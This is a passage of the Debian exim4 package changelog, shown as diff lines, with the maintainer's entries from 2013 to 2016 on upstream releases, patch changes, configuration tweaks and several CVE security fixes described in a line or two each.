75_01-Ensure-socket-is-nonblocking-before-draining.diff from upstream + GIT to fix exim bug 1914 (exim doesn't close connection after quit. + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Sat, 12 Nov 2016 07:26:14 +0100 + +exim4 (4.88~RC4-1) experimental; urgency=low + + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Mon, 07 Nov 2016 19:08:47 +0100 + +exim4 (4.88~RC3-1) experimental; urgency=medium + + * New upstream version. + Drop 75_01-Fix-check-for-commandline-macro-definition.patch + 75_02_Fix-bug-with-aborted-server-TLS-connection-under-Gnu.patch. + + -- Andreas Metzler <ametzler@debian.org> Mon, 24 Oct 2016 19:25:31 +0200 + +exim4 (4.88~RC2-3) experimental; urgency=medium + + * Fix thinko in exim4-daemon-*.postinst. Do not regenerate gnutls params on + every upgrade. + * 75_02_Fix-bug-with-aborted-server-TLS-connection-under-Gnu.patch: Fix + longstanding bug with aborted TLS server connection handling. Under + GnuTLS, when a session startup failed (eg because the client + disconnected) Exim did stdio operations after fclose. This was exposed by + a recent change which nulled out the file handle after the fclose. + + -- Andreas Metzler <ametzler@debian.org> Sun, 23 Oct 2016 16:39:13 +0200 + +exim4 (4.88~RC2-2) experimental; urgency=medium + + * 75_01-Fix-check-for-commandline-macro-definition.patch - Fix permission + problems on commandline mail submission. Closes: #840355 + + -- Andreas Metzler <ametzler@debian.org> Thu, 13 Oct 2016 19:25:07 +0200 + +exim4 (4.88~RC2-1) experimental; urgency=low + + * New upstream version. + + Changed default Diffie-Hellman parameters to be Exim-specific, created + by Phil Pennock. Added RFC7919 DH primes as an alternative. + Closes: #839978 + * Set tls_dhparam = historic to use site-specific DH parameters. + * Again, ship /usr/share/exim4/exim4_refresh_gnutls-params, use it in + -daemon postinst. + * Initialize /var/spool/exim4/gnutls-params-2048 at daemon install, either + by running certtool or by installing + /usr/share/exim4/gnutls-params-2048. Do not try to use + openssl dhparam, it takes too long. + + -- Andreas Metzler <ametzler@debian.org> Sun, 09 Oct 2016 17:37:08 +0200 + +exim4 (4.88~RC1-1) experimental; urgency=low + + * Drop reference to removed (in 4.80-7) "what"-option in init script usage + message. (Thanks, Calum Mackay!) Closes: #823855 + * 92_CVE-2016-1238.diff: eximstats: Remove . from @INC [CVE-2016-1238] + Closes: #832442 + * [lintian] update-exim4.conf.8 - fix typo. + * [lintian] Drop unused override binaries-have-file-conflict. + * B-d on default-libmysqlclient-dev. + * New upstream version. + + Refresh patches: 31_eximmanpage.dpatch 32_exim4.dpatch 35_install.dpatch + 50_localscan_dlopen.dpatch + + Drop superfluous patches. + 71_01_configure.default-nice-message-for-overlong-lines-Bu.patch + 71_02_Delivery-quieten-smtp-transport-conn-reuse-vs.-deliv.patch + 71_03_Avoid-exposing-passwords-in-log-on-failing-ldap-look.patch + 71_04_Avoid-exposing-passwords-in-log-on-failing-ldap-look.patch + + Fix crash in VRFY handling when handed an unqualified name + (lacking @domain). Apply the same qualification processing as RCPT. + Closes: #834699 + + Fix a possible security hole, wherein a process operating with the Exim + UID can gain a root shell. Credit to http://www.halfdog.net/ for + discovery and writeup. LP: #1580454 + * [lintian] exim4-config_files.5 - fix typo. + + -- Andreas Metzler <ametzler@debian.org> Sun, 25 Sep 2016 15:44:00 +0200 + +exim4 (4.87-3) unstable; urgency=medium + + * Pull multiple patches from upstream GIT: + + 71_01_configure.default-nice-message-for-overlong-lines-Bu.patch + Improved message on overlong lines in example config. + + 71_02_Delivery-quieten-smtp-transport-conn-reuse-vs.-deliv.patch + Fix race condition related to connection reuse. + https://bugs.exim.org/show_bug.cgi?id=1810 + + 71_03_Avoid-exposing-passwords-in-log-on-failing-ldap-look.patch + 71_04_Avoid-exposing-passwords-in-log-on-failing-ldap-look.patch + Avoid exposing passwords in log on failing ldap lookup + expansion. https://bugs.exim.org/show_bug.cgi?id=165 + * Copy information message on rejecting overlong lines in data ACL from + upstream example configuration. Closes: #823418 + * Add NEWS entry on line-length-limit introduced in 4.87~RC1-1. + Closes: 821830 + + -- Andreas Metzler <ametzler@debian.org> Sun, 08 May 2016 14:03:10 +0200 + +exim4 (4.87-2) unstable; urgency=medium + + * Fix reference to README.Debian in 01_exim4-config_listmacrosdefs. + (Thanks, L. Guruprasad!) Closes: #821416 + * Add REMOTE_SMTP_SMARTHOST_HOSTS_REQUIRE_TLS macro to enforce TLS + connections (hosts_require_tls option) in remote_smtp_smarthost + transport. Closes: #822174 + * exim4-daemon-heavy: Disable WITH_OLD_DEMIME ("demime" ACL condition). It + is deprecated and will be removed in 4.88. + * README.Debian*: Fix minor issues found by lintian. + * Fix reference to spec.txt in 30_exim4-config_check_rcpt. Closes: #665399 + * Drop exim4-base Recommends on perl-modules. This had been unnecessary + since 4.80~rc6-1 which dropped /usr/share/exim4/timeout.pl. + + -- Andreas Metzler <ametzler@debian.org> Sat, 30 Apr 2016 13:38:29 +0200 + +exim4 (4.87-1) unstable; urgency=medium + + * Fix comment in + conf.d/transport/30_exim4-config_remote_smtp_smarthost. (Thanks, + Jörg-Volker Peetz!) Closes: #819780 + * New upstream release. + + -- Andreas Metzler <ametzler@debian.org> Thu, 07 Apr 2016 19:26:59 +0200 + +exim4 (4.87~RC7-1) unstable; urgency=low + + * Enable SOCKS support in both -light and -heavy. Closes: #818091 + * Fix typos in configuration. (Thanks, Vincent Lefevre!) Closes: #819482 + * New upstream version. + + Drop 74_Store-the-initial-working-directory.diff, + 75_String-expansions-fix-extract.patch, + 76_only_warn_on_nonempty_environment.diff. + + Update debian/example.conf.md5. + + -- Andreas Metzler <ametzler@debian.org> Fri, 01 Apr 2016 19:04:07 +0200 + +exim4 (4.87~RC6-3) unstable; urgency=medium + + * Merge changelog entries for 4.86.2-1 and -2. + * Upload to unstable. + * Add link to CVE details to latest NEWS entry and bump its version and date + to match this upload. Closes: #818349, #817244 + + -- Andreas Metzler <ametzler@debian.org> Wed, 23 Mar 2016 18:44:22 +0100 + +exim4 (4.87~RC6-2) experimental; urgency=medium + + * 74_Store-the-initial-working-directory.diff, + 76_only_warn_on_nonempty_environment.diff: Upstream followups on the + CVE fix (Thanks, Heiko Schlittermann!): + + Runtime warning is only generated if (and only if) keep_environment + is unset and environment is nonempty. + + Store the initial working directory and make it available in the new + expansion variable $initial_cwd. + * Merge all NEWS.Debian files into a single one, identical for all binary + packages. - Different NEWS files built from a single source package is not + and has not ever been supported by apt-listchanges which is the most + important frontend. + * Add a NEWS entry about the environment related runtime warning. + + -- Andreas Metzler <ametzler@debian.org> Sat, 19 Mar 2016 18:11:32 +0100 + +exim4 (4.87~RC6-1) experimental; urgency=medium + + * New upstream version. + * Add 75_String-expansions-fix-extract.patch from upstream GIT, fixing + ${extract } string expansion for the numeric/3-string case. (Bug was + introduced in 4.85.) + * Set keep_environment to empty value instead of setting a minimal PATH in + add_environment. + + -- Andreas Metzler <ametzler@debian.org> Fri, 11 Mar 2016 19:50:07 +0100 + +exim4 (4.87~RC5-2) experimental; urgency=medium + + * Update debian/upstream/signing-key.asc, using the keys listed in + ftp://ftp.exim.org/pub/exim/Exim-Maintainers-Keyring.asc. This adds + Heiko Schlittermann's key. + * Bump exim4-config Breaks to exim4-daemon-* (<< 4.87~RC5). Closes: #816790 + + -- Andreas Metzler <ametzler@debian.org> Sat, 05 Mar 2016 13:17:01 +0100 + +exim4 (4.87~RC5-1) experimental; urgency=medium + + * exim4-config.postinst: Test for existence of /etc/inetd.conf before trying + to grep in it. Closes: #814998 + * New upstream version, includes the patch for CVE-2016-1531. (Local root + exploit). + * Add macros MAIN_KEEP_ENVIRONMENT and MAIN_ADD_ENVIRONMENT to set the new + options. If neither is used we use add_environment to set a minimal + PATH=/bin:/usr/bin to avoid a runtime warning. + + -- Andreas Metzler <ametzler@debian.org> Wed, 02 Mar 2016 21:06:43 +0100 + +exim4 (4.87~RC3-2) experimental; urgency=medium + + * README.Debian: Refer to Exim specification by chapter name instead of + chapter number. Closes: #813351 + * Fix some spelling errors found by lintian. + * Minor debian/rules cleanup: + + Restore originally intended behavior, upstream changelog is only + shipped in exim4-base, symlinks to it elsewhere. + + Drop workaround for #347577, fixed in debhelper 5.0.15. + + Use "dh binary-arch" and "dh binary-indep" and a bunch of override + targets instead of listing all dh-commands. While this is uglier and + slows things down a bit it shortens debian/rules by 40 lines and has the + huge benefit that we automatically use all suggested helpers in correct + order. + + Drop unused variables combinedidbgpackage/dhcombinedidbgpackage. + + Delete unused, commented code. + + Drop (exported) variable MTACONFLICTS, used only once. + * Bugfix: Stop build if generation of EDITME.exim4-heavy fails. + * Refresh debian/EDITME.*, -heavy was missing ldap and sql support. + + -- Andreas Metzler <ametzler@debian.org> Sat, 13 Feb 2016 20:10:53 +0100 + +exim4 (4.87~RC3-1) experimental; urgency=medium + + * Move Vcs-* from git/http to https. + * [lintian] README.Debian: s/desireable/desirable/. + * [lintian] README.Debian: Fix grammar error "allow + infinitive". + * [lintian] exim4-config.postinst: Use which foo > /dev/null + instead of [ -x /path/to/foo ]. + * Update list of patches in debian/README.Debian.xml + * Drop 66_enlarge-dh-parameters-size.dpatch: It does not have any effect + with GnuTLS >= 2.12 and even stable has GnuTLS 3.x. + * New upstream version. + + Upstream's default rcpt ACL now requires that a HELO/EHLO was accepted, + merge this change and drop CHECK_MAIL_HELO_ISSUED macro. + + -- Andreas Metzler <ametzler@debian.org> Thu, 21 Jan 2016 17:44:00 +0100 + +exim4 (4.87~RC2-1) experimental; urgency=medium + + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Sat, 19 Dec 2015 17:51:39 +0100 + +exim4 (4.87~RC1-1) experimental; urgency=medium + + * New upstream version. + + Refresh patches. + + Drop debian/patches/75_00xx*.patch from exim-4_86+fixes branch. + + Sync with upstream default configuration: Check maximum (physical, i.e. + before unfolding) line length in default spec file data ACL and smtp + transport. Bug 1684 Closes: #797919 + + HS/02 Add the Exim version string to the process info. This way exiwhat + gives some more detail about the running daemon. Closes: #240883 + * Override upstream's new default of tls_advertise_hosts = * if + MAIN_TLS_ENABLE is not set. + + -- Andreas Metzler <ametzler@debian.org> Fri, 11 Dec 2015 20:15:30 +0100 + +exim4 (4.86.2-2) unstable; urgency=high + + * Bump exim4-config Breaks to exim4-daemon-* (<< 4.86.2). Closes: #816790 + + -- Andreas Metzler <ametzler@debian.org> Sat, 05 Mar 2016 13:07:31 +0100 + +exim4 (4.86.2-1) unstable; urgency=high + + * Pull 75_0012_Cutthrough-Fix-bug-with-dot-only-line.patch from upstream + 4.86+fixes branch. + * New upstream security release for CVE-2016-1531. + + New options keep_environment/add_environment which are empty by default, + i.e. any subprocesses start in a clean (empty) environment. + + -C requires an absolute path. + + Exim changes it's working directory to / right after startup. + * Add macros MAIN_KEEP_ENVIRONMENT and MAIN_ADD_ENVIRONMENT to set the new + options. If neither is used we use add_environment to set a minimal + PATH=/bin:/usr/bin to avoid a runtime warning. + + -- Andreas Metzler <ametzler@debian.org> Tue, 01 Mar 2016 19:34:39 +0100 + +exim4 (4.86-7) unstable; urgency=medium + + * Allow arch-indep build (dpkg-buildpackage -A). Closes: #806023 + * 75_0011_MIME-fix-crash-on-filenames-having-null-charset.-Bug.patch from + exim-4_86+fixes branch fixes another MIME ACL related crash. + https://bugs.exim.org/show_bug.cgi?id=1730 + + -- Andreas Metzler <ametzler@debian.org> Sat, 28 Nov 2015 18:45:31 +0100 + +exim4 (4.86-6) unstable; urgency=medium + + * Cleanup (actual patch is identical): Use + 75_0009_Avoid-misaligned-access-in-cached-lookup.-Bug-1708.patch from + exim-4_86+fixes branch instad of + 76_Avoid-misaligned-access-in-cached-lookup.-Bug-1708.patch. + * Pull 75_0010_DKIM-ignore-space-tab-embedded-in-base64-during-deco.patch, + DKIM: ignore space & tab embedded in base64 during decode. Bug 1700 + + -- Andreas Metzler <ametzler@debian.org> Sun, 08 Nov 2015 07:55:51 +0100 + +exim4 (4.86-5) unstable; urgency=high + + * Pull 76_Avoid-misaligned-access-in-cached-lookup.-Bug-1708.patch from GIT + head to avoid misaligned access in cached lookup. Closes: #803255 + + -- Andreas Metzler <ametzler@debian.org> Tue, 03 Nov 2015 19:33:49 +0100 + +exim4 (4.86-4) unstable; urgency=medium + + * Fix documentation of lowuid_aliases router, exceptions are in + CONFDIR/lowuid-aliases not CONFDIR/lowuid_aliases. (Thanks, Tim Krah) + Closes: #799672 + * fcron has been removed from Debian in 2011, stop listing it as an + alternative dependency of exim4-base (Thanks, Alexandre Detiste). + Closes: #798236 + * Update to upstream exim-4_86+fixes branch: + + Drop 75_Fix-ESMTP-MAIL-command-option-processing.patch, + 76_Fix-post-transport-crash.patch, + 77_Fix-post-transport-crash-safeguard-for-missing-spool.patch, + 78_Close-logs-after-daemon-process-exceptional-write.patch. + + Add 75_0001-Fix-post-transport-crash.patch + 75_0002-Fix-post-transport-crash-safeguard-for-missing-spool.patch + 75_0003-Fix-ESMTP-MAIL-command-option-processing.patch + 75_0005-Close-logs-after-daemon-process-exceptional-write.-B.patch + 75_0007-DNS-time-limit-cached-returns-using-TTL.-Bug-1395.patch + 75_0008-Retry-always-use-interface-if-set-for-retry-DB-key.-.patch + * Use dh v9. + + -- Andreas Metzler <ametzler@debian.org> Sat, 17 Oct 2015 15:01:01 +0200 + +exim4 (4.86-3) unstable; urgency=medium + + * Pull three patches from upstream git: + + 75_Fix-ESMTP-MAIL-command-option-processing.patch: + Corrects handling of mail-addresses with whitespace. + <http://article.gmane.org/gmane.mail.exim.user/97069> + + 76_Fix-post-transport-crash.patch + 77_Fix-post-transport-crash-safeguard-for-missing-spool.patch + <https://bugs.exim.org/show_bug.cgi?id=1671> + * Fix spelling error in copyright file. (Thanks, lintian) + * Pull 77_Fix-post-transport-crash-safeguard-for-missing-spool.patch from + upstream git, exim was keeping logfiles open after after a "too many + connections" event. Closes: #796524, #476958 (Thanks to Andreas Pflug for + chasing this.) + * When saving the berkeley DB version at build-time pass -P option to cpp, + to prevent linebreaks. + + -- Andreas Metzler <ametzler@debian.org> Tue, 25 Aug 2015 20:05:59 +0200 + +exim4 (4.86-2) unstable; urgency=high + + * Update exim4-config Breaks, PRDR support is was moved from being + Experimental into the mainline with 4.83. + Closes: #794320 + + -- Andreas Metzler <ametzler@debian.org> Sun, 02 Aug 2015 07:40:24 +0200 + +exim4 (4.86-1) unstable; urgency=medium + + * New upstream version, identical to RC5 (except for the version string). + + -- Andreas Metzler <ametzler@debian.org> Sun, 26 Jul 2015 18:35:33 +0200 + +exim4 (4.86~RC5-1) unstable; urgency=medium + + * New upstream version. + + Drop 75_Bump-LOCAL_SCAN_ABI_VERSION.patch. + + -- Andreas Metzler <ametzler@debian.org> Sat, 18 Jul 2015 11:46:11 +0200 + +exim4 (4.86~RC4-2) unstable; urgency=medium + + * Drop libmysqlclient15-dev alternative build-dependency. Closes: #790463 + * Update list of upstream gpg-keys (0x4D1E900E14C1CC04 Phil Pennock, + 0x85AB833FDDC03262 Nigel Metheringham, 0xFFC0F14C84C71B6E Tony Finch, + 0xC4F4F94804D29EBA Todd Lyons, 0xBCE58C8CE41F32DF Jeremy Harris, + 0x63762CDA67E2F359 David Woodhouse, 0xAD5EDBB793EC57E4 Graeme Fowler), + transition from debian/upstream-signing-key.pgp to + debian/upstream/signing-key.asc. + * Pull 75_Bump-LOCAL_SCAN_ABI_VERSION.patch from upstream GIT and update + exim4-localscanapi-x.y provides to 2.0. A binNMU of sa-exim will then + properly fix the issue. Closes: #790616 + + -- Andreas Metzler <ametzler@debian.org> Sun, 05 Jul 2015 11:47:47 +0200 + +exim4 (4.86~RC4-1) unstable; urgency=medium + + * unexport/undefine TZ in debian/rules for reproducible build. It would be + used as default value for TIMEZONE_DEFAULT. + * New upstream version. + + Unfuzz 31_eximmanpage.dpatch. + + -- Andreas Metzler <ametzler@debian.org> Mon, 29 Jun 2015 07:43:19 +0200 + +exim4 (4.86~RC3-2) unstable; urgency=medium + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Tue, 23 Jun 2015 19:11:19 +0200 + +exim4 (4.86~RC3-1) experimental; urgency=medium + + * Don't provide default-mta on Ubuntu and Ubuntu-derivatives. See LP-bug + 1166671. + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Mon, 22 Jun 2015 20:39:11 +0200 + +exim4 (4.86~RC2-1) experimental; urgency=medium + + * Drop nowadays unneeded XS-Testsuite: autopkgtest in debian/control + (Thanks, lintian). + * New upstream version: + +Drop included patches. + (-72_0001-Guard-routing-against-a-null-deref.-Bug-1639.patch, + 72_0002-Spamd-add-missing-initialiser.-Rspamd-mode-was-incor.patch, + 72_0003-DSN-fix-null-deref-when-bounce-is-due-to-conn-timeou.patch, + 72_0004-Content-scan-Use-ETIMEDOUT-not-ETIME-as-having-bette.patch) + * Sync Debian config with upstream default config: + + Set prdr_enable. + + Add +smtp_protocol_error +smtp_syntax_error +tls_certificate_verified to + log_selector option value. + + -- Andreas Metzler <ametzler@debian.org> Wed, 17 Jun 2015 19:49:58 +0200 + +exim4 (4.86~RC1-3) experimental; urgency=medium + + * Get time and date of latest debian/changelog entry and patch exim(on) to + use these instead of __DATE__ and __TIME__. + * Pull 72_0004-Content-scan-Use-ETIMEDOUT-not-ETIME-as-having-bette.patch + from GIT to fix FTBFS on kfreebsd. + + -- Andreas Metzler <ametzler@debian.org> Sat, 13 Jun 2015 15:22:47 +0200 + +exim4 (4.86~RC1-2) experimental; urgency=medium + + * Pull three post-release fixes from upstream GIT. (null pointer + derefencing, and spam scanning defaulting to rspam mode) + + 72_0001-Guard-routing-against-a-null-deref.-Bug-1639.patch + + 72_0002-Spamd-add-missing-initialiser.-Rspamd-mode-was-incor.patch + + 72_0003-DSN-fix-null-deref-when-bounce-is-due-to-conn-timeou.patch + + -- Andreas Metzler <ametzler@debian.org> Sun, 07 Jun 2015 07:26:13 +0200 + +exim4 (4.86~RC1-1) experimental; urgency=medium + + * New upstream release. + + Drop 84_Fix-truncation-of-items-in-headers_remove-lists-this.patch, + refresh patches. + + Update EDITME*, enable AUTH_TLS for -heavy. + + Sync Debian config with upstream default config, rfc1413 calls are now + disabled by default. + + Uses MIME format bounce messages (RFC 3461). Closes: #230284,#400741 + + The spamd_address main option now supports an optional timeout value per + server (tmo=timespec), it defaults two 2 minutes. Closes: #297915 + + spamd_address also accepts hostnames and IPv6 addresses. Closes: #751687 + + log reason for defer, on a hostlist dns-lookup temporary error. + Closes: #670035 + + -- Andreas Metzler <ametzler@debian.org> Sat, 06 Jun 2015 15:41:33 +0200 + +exim4 (4.85-3) unstable; urgency=medium + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Tue, 28 Apr 2015 19:34:16 +0200 + +exim4 (4.85-2) experimental; urgency=medium + + * Merge from unstable 4.84-8. + + Tighten dependency of exim4 on exim4-base to (>= ${source:Version}) and + (<< ${source:Version}.1), at least source version, but not the next + sourceful upload. Closes: #777246 + + Pull 84_Fix-truncation-of-items-in-headers_remove-lists-this.patch from + upstream GIT which fixes breakage of string-expansion in headers_remove + commands. (Thanks Gordon Dickens, for the pointer.) - + 83_Remove-limit-on-remove_headers-item-size.-Bug-1533.patch not added + here since it already part of 4.85. + + -- Andreas Metzler <ametzler@debian.org> Sat, 21 Feb 2015 15:38:47 +0100 + +exim4 (4.85-1) experimental; urgency=medium + + * exim4-config_files.5: Escape dots in regex. (Thanks, ael) + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Tue, 13 Jan 2015 18:48:45 +0100 + +exim4 (4.85~RC4-1) experimental; urgency=medium + + * update-exim4.conf: + + Drop unused variable UPEX4C_internal_tmp. + + Use tempfile(1) if the generated file will not be written to + /var/lib/exim4/. + + Add --check option. + * init-script: On restart use update-exim4.conf --check before stopping the + daemon. (This is a no-op with systemd since its sysv compat layer + translates "foo restart" into "foo stop" "foo start" instead of using the + init scripts restart target.) + * Handle _RC in watchfile with uversionmangle. + * New upstream version. + + Stop repacking source, rfcs have been dropped. + + -- Andreas Metzler <ametzler@debian.org> Wed, 31 Dec 2014 14:24:35 +0100 + +exim4 (4.85~RC3+dfsg-1) experimental; urgency=medium + + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Thu, 18 Dec 2014 19:07:59 +0100 + +exim4 (4.85~RC2+dfsg-1) experimental; urgency=medium + + * New upstream version. + * Unfuzz patches: 50_localscan_dlopen.dpatch 67_unnecessaryCopt.diff + 70_remove_exim-users_references.dpatch. + + -- Andreas Metzler <ametzler@debian.org> Mon, 01 Dec 2014 18:54:17 +0100 + +exim4 (4.85~RC1+dfsg-1) experimental; urgency=medium + + * Unset message_prefix/message_sufix in maildrop_pipe transport. Maildrop + neither expects a mbox-style From nor an empty line add the end. (Thanks, + Edward Betts) Closes: #769396 + * Change the init script's restart order from { regenerate_config; stop; + start ; } to { stop; regenerate_config; start ; }. (Thanks, Jakub Warmuz) + Closes: #768874 + * New upstream version. + + Unfuzz 66_enlarge-dh-parameters-size.dpatch + + Drop 80_mime_empty_charset.diff. + * Remove rfc from upstream source and repack it. + + -- Andreas Metzler <ametzler@debian.org> Tue, 18 Nov 2014 19:28:20 +0100 + +exim4 (4.84-8) unstable; urgency=medium + + * Pull 83_Remove-limit-on-remove_headers-item-size.-Bug-1533.patch and + 84_Fix-truncation-of-items-in-headers_remove-lists-this.patch from + upstream GIT which fix breakage of string-expansion in headers_remove + commands. (Thanks Gordon Dickens, for the pointer.) + + -- Andreas Metzler <ametzler@debian.org> Tue, 17 Feb 2015 18:00:42 +0100 + +exim4 (4.84-7) unstable; urgency=medium + + * Tighten dependency of exim4 on exim4-base to (>= ${source:Version}) and + (<< ${source:Version}.1), at least source version, but not the next + sourceful upload. Closes: #777246 + + -- Andreas Metzler <ametzler@debian.org> Sat, 07 Feb 2015 15:12:33 +0100 + +exim4 (4.84-6) unstable; urgency=medium + + * Revert init script's restart order change in 4.84-4 for the time being. + This needs a slightly more involved change than I want to push into jessie + right now. + + -- Andreas Metzler <ametzler@debian.org> Sun, 21 Dec 2014 14:07:12 +0100 + +exim4 (4.84-5) unstable; urgency=medium + + * 82_quoted-or-r-2047-encoded.diff pulled from upstream git (sans + testsuite), extends the fix in 4.84-2. + + -- Andreas Metzler <ametzler@debian.org> Wed, 17 Dec 2014 19:03:39 +0100 + +exim4 (4.84-4) unstable; urgency=medium + + * Unset message_prefix/message_sufix in maildrop_pipe transport. Maildrop + neither expects a mbox-style From nor an empty line add the end. (Thanks, + Edward Betts) Closes: #769396 + * Change the init script's restart order from { regenerate_config; stop; + start ; } to { stop; regenerate_config; start ; }. (Thanks, Jakub Warmuz) + Closes: #768874 + * 81_buffer-overrun-in-spam-acl.diff from upstream git. Fix a buffer overrun + with control characters in argument of spam= acl condition. + <http://bugs.exim.org/show_bug.cgi?id=1552> + + -- Andreas Metzler <ametzler@debian.org> Sun, 30 Nov 2014 08:24:04 +0100 + +exim4 (4.84-3) unstable; urgency=medium + + * Apply patch to Italian (it) debconf template translation, thanks to + s3v <c0llapsed@yahoo.it>. Closes: #764925 + * Let virtual package cron-daemon fulfill exim4-base's dependency now that + bcron provides it instead of "cron" and systemd-cron is fixed. + Closes: #765720 + + -- Andreas Metzler <ametzler@debian.org> Sun, 19 Oct 2014 13:35:56 +0200 + +exim4 (4.84-2) unstable; urgency=high + + * Add 80_mime_empty_charset.diff from upstream GIT (the parts that change + the code, not the testsuite) to handle empty content-type charset. + + -- Andreas Metzler <ametzler@debian.org> Fri, 29 Aug 2014 19:41:38 +0200 + +exim4 (4.84-1) unstable; urgency=medium + + * New upstream release. + + -- Andreas Metzler <ametzler@debian.org> Thu, 14 Aug 2014 19:33:01 +0200 + +exim4 (4.84~RC2-1) unstable; urgency=medium + + * New upstream release candidate. + + -- Andreas Metzler <ametzler@debian.org> Sat, 09 Aug 2014 07:42:00 +0200 + +exim4 (4.84~RC1-3) unstable; urgency=medium + + * Third try. Simply comment *custom* in debian/control. + + -- Andreas Metzler <ametzler@debian.org> Sat, 02 Aug 2014 09:29:13 +0200 + +exim4 (4.84~RC1-2) unstable; urgency=medium + + * Re-upload, after manually removing *custom* from the changes file to avoid + false detection of NEW packages due to the changes in the archive + infrastructure related source-only uploads. + + -- Andreas Metzler <ametzler@debian.org> Sat, 02 Aug 2014 08:14:54 +0200 + +exim4 (4.84~RC1-1) unstable; urgency=medium + + * New upstream release candidate, fixing a regression in the MIME handling + code. + + -- Andreas Metzler <ametzler@debian.org> Sat, 02 Aug 2014 07:45:26 +0200 + +exim4 (4.83-2) unstable; urgency=medium + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Sat, 26 Jul 2014 09:25:15 +0200 + +exim4 (4.83-1) experimental; urgency=medium + + * New upstream release which includes the fix for CVE-2014-2972. + + -- Andreas Metzler <ametzler@debian.org> Wed, 23 Jul 2014 08:13:22 +0200 + +exim4 (4.83~RC3-1) experimental; urgency=medium + + * New upstream release candidate. + + -- Andreas Metzler <ametzler@debian.org> Tue, 08 Jul 2014 19:07:52 +0200 + +exim4 (4.83~RC2-1) experimental; urgency=medium + + * New upstream release candidate. + + JH/26 Port service names are now accepted for tls_on_connect_ports, to + align with daemon_smtp_ports. Bug 72. Closes: #316441 + + + -- Andreas Metzler <ametzler@debian.org> Fri, 06 Jun 2014 19:11:24 +0200 + +exim4 (4.83~RC1-1) experimental; urgency=medium + + * New upstream feature release candidate. + + JH/06 Log outbound-TLS and port details, subject to log selectors, for a + failed delivery. Closes: #712987 + * Unfuzz 31_eximmanpage.dpatch and 50_localscan_dlopen.dpatch. + * Drop superfluous patches: 75_unbind-ldap-connection.diff + 76_fix_ldap_option_setting.diff 77_close-the-server-side-of-TLS.diff + 80_fix_ftbfs_hurd.diff + * Since exim4-base currently only includes daily cronjobs let anacron + fulfill the dependency, too. Systems with missing recommends (anacron + recommends cron) that are *not* restarted regularily will therefore not + run the cron-job regularily. Exim should not break horribly in this case + and we can assume the local system administrator knows what (s)he is doing + by disabling installation of recommends. (Policy: "[...] packages that + would be found together with this one in all but unusual installations") + Closes: #733929 + + -- Andreas Metzler <ametzler@debian.org> Thu, 29 May 2014 13:09:04 +0200 + +exim4 (4.82.1-2) unstable; urgency=high + + * [87_double_expansion.diff] from upstream. Stop unwanted double expansion + of arguments to mathematical comparison operations. CVE-2014-2972 + + -- Andreas Metzler <ametzler@debian.org> Sun, 20 Jul 2014 19:05:48 +0200 + +exim4 (4.82.1-1) unstable; urgency=high + + * New upstream security release, fixing CVE-2014-2957. This is a remote + code execution flaw in Exim version 4.82 (only) when built with DMARC + support. Debian's binary packages are not built with DMARC support and + therefore not vulnerable. However we want to fix this for people building + their own binaries based on Debian's packaging. + + -- Andreas Metzler <ametzler@debian.org> Wed, 28 May 2014 19:01:43 +0200 + +exim4 (4.82-8) unstable; urgency=medium + + * Now that GMP has been relicensed to LGPLv3+/GPLv2+ build exim against + GnuTLS v3. + + -- Andreas Metzler <ametzler@debian.org> Sat, 12 Apr 2014 16:19:05 +0200 + +exim4 (4.82-7) unstable; urgency=high + + [ Martin Pitt ] + * debian/tests/control: Add missing python test dependency, as + debian/tests/security calls python. Closes: #740092 + + [ Andreas Metzler ] + * 4.82 deprecated $tls_bits, $tls_certificate_verified, $tls_cipher, + $tls_peerdn, $tls_sni and introduced tls_in_*/tls_out_* variants of these + variables which describe the respective status of the current incoming or + outgoing TLS connection. The rationale for this is that a single exim + process can now use both an incoming (message reception) and outgoing + TLS connection (callout or cutthrough delivery) concurrently. With this + change the "old" variables were mapped to tls_in_*, i.e. they expand to + empty values on outgoing connections. (This is not yet documented.) + Outgoing tls-connections can therefore not be detected by nonempty + $tls_cipher anymore. exim4-config << 4.82 used this mechanism to prevent + sending of plaintext AUTH information on unencrypted connections. Force a + lockstep upgrade of exim4-config by bumping the version of exim4-base's + dependency on exim4-config to >= 4.82. + Closes: #742901, #736081 + + -- Andreas Metzler <ametzler@debian.org> Sun, 06 Apr 2014 08:32:11 +0200 + +exim4 (4.82-6) experimental; urgency=medium + + [ Martin Pitt ] + * debian/tests/control: Add missing python test dependency, as + debian/tests/security calls python. Closes: #740092 + + [ Andreas Metzler ] + * Now that GMP has been relicensed to LGPLv3+/GPLv2+ build exim against + GnuTLS v3. + + -- Andreas Metzler <ametzler@debian.org> Sat, 05 Apr 2014 14:18:11 +0200 + +exim4 (4.82-5) unstable; urgency=medium + + * Upgrade to libdb5.3-dev. Closes: #738637 Be paranoid and bump BDBVERSION + in exim4-base.postinst from 3.0 (no idea why this did not read 5.1) to + 5.3, therefore purging hints db on upgrades. + + -- Andreas Metzler <ametzler@debian.org> Wed, 12 Feb 2014 19:31:55 +0100 + +exim4 (4.82-4) unstable; urgency=medium + + * Correct title/name of exim4-config_files(5). (Thanks, Heiko Schlittermann) + Closes: #734212 + * 80_fix_ftbfs_hurd.diff by Samuel Thibault fixes FTBFS on GNU/hurd due to + missing support for TCLASS. Closes: #738445 + * Add debian/upstream-signing-key.pgp (listed in + debian/source/include-binaries) and update watchfile to check + upstream signature. + + -- Andreas Metzler <ametzler@debian.org> Sun, 09 Feb 2014 19:41:34 +0100 + +exim4 (4.82-3) unstable; urgency=low + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Wed, 27 Nov 2013 19:51:26 +0100 + +exim4 (4.82-2) experimental; urgency=low + + * Pull two post-release fixes from upstream git master: + + 75_unbind-ldap-connection.diff - Only unbind ldap connection if bind + succeeded. + + 77_close-the-server-side-of-TLS.diff - Correctly close the server side + of TLS when forking for delivery. + * Pull 76_fix_ldap_option_setting.diff from Todd Lyons testing tree. See + <http://mid.gmane.org/20131029200309.GA277075%40zedat.fu-berlin.de>. + + -- Andreas Metzler <ametzler@debian.org> Sat, 09 Nov 2013 17:24:59 +0100 + +exim4 (4.82-1) experimental; urgency=low + + * New upstream stable release. + * Drop 